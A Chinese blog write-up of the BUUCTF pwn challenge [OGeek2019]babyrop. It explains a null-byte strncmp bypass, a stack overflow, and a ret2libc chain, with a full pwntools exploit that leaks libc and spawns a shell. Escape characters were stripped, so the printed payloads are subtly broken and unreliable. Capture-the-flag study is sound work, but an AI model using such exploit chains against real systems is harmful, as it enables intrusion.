• [BUUCTF]PWN7——[OGeek2019]babyrop


    [BUUCTF]PWN7——[OGeek2019]babyrop

    题目网址:https://buuoj.cn/challenges#[OGeek2019]babyrop

    步骤:
    例行检查,32位,开启了RELRO(对got表不可以写)和NX(堆栈不可执行)
    在这里插入图片描述
    nc的时候没有什么回显,用32位ida打开附件,shift+f12查看程序里的字符串,没有发现system和/bin/sh
    在这里插入图片描述
    从main函数开始看程序
    在这里插入图片描述

    在这里插入图片描述
    用户输入一个字符串给buf,然后跟随机数比较大小,strncmp里的比较长度的参数v1是我们输入的字符串的长度,strlen遇到‘’结束,因此可以利用‘’来绕过比较字符串操作,避免执行到exit(0)

    在这里插入图片描述

    这里的a1是上一个函数的返回值,看一v5的地址,可以看到就在buf的地址里,我们只要在读入buf的时候将这个位置填上255(xff),之后就会执行else,那么我们就可以对buf进行溢出了
    在这里插入图片描述
    这题给出了libc版本,因此我们只要泄露一个函数地址后就可以算出偏移量,之后就能构造rop执行system(‘/bin/sh’)了

    exp

    from pwn import *
    
    p = remote("node3.buuoj.cn",26154)
    libc=ELF('libc-2.23.so')
    elf = ELF('./pwn1')
    
    write_plt = elf.plt['write']
    write_got = elf.got['write']
    main = 0x08048825
    
    payload1 = "x00" + "xff"*7
    p.sendline(payload1)
    p.recvuntil("Correct
    ")
    
    payload2 = "a"*0xe7+'a'*4 
    payload2 += p32(write_plt) +p32(main)+ p32(1)+p32(write_got)+p32(0x8)
    
    p.sendline(payload2)
    
    write_addr=u32(p.recv(4))
    
    
    
    offset = write_addr - libc.sym['write']
    system_addr=offset+libc.sym['system']
    bin_sh_addr=offset+libc.search('/bin/sh').next()
    
    p.sendline(payload1)
    p.recvuntil('Correct
    ')
    payload3 = "a"*0xe7 + 'a'*4
    payload3 += p32(system_addr) + "a"*4 + p32(bin_sh_addr)
    p.sendline(payload3)
    
    p.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    将博客搬至CSDN
    JDBC
    Java刷题常用API
    Java的反射机制
    Java的IO流
    Docker原理:Cgroup
    Docker原理:Namespace
    Anaconda软件安装使用问题
    初步了解Unix系统的I/O模式
    深入理解索引和AVL树、B-树、B+树的关系
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273727.html
Copyright © 2020-2023  润新知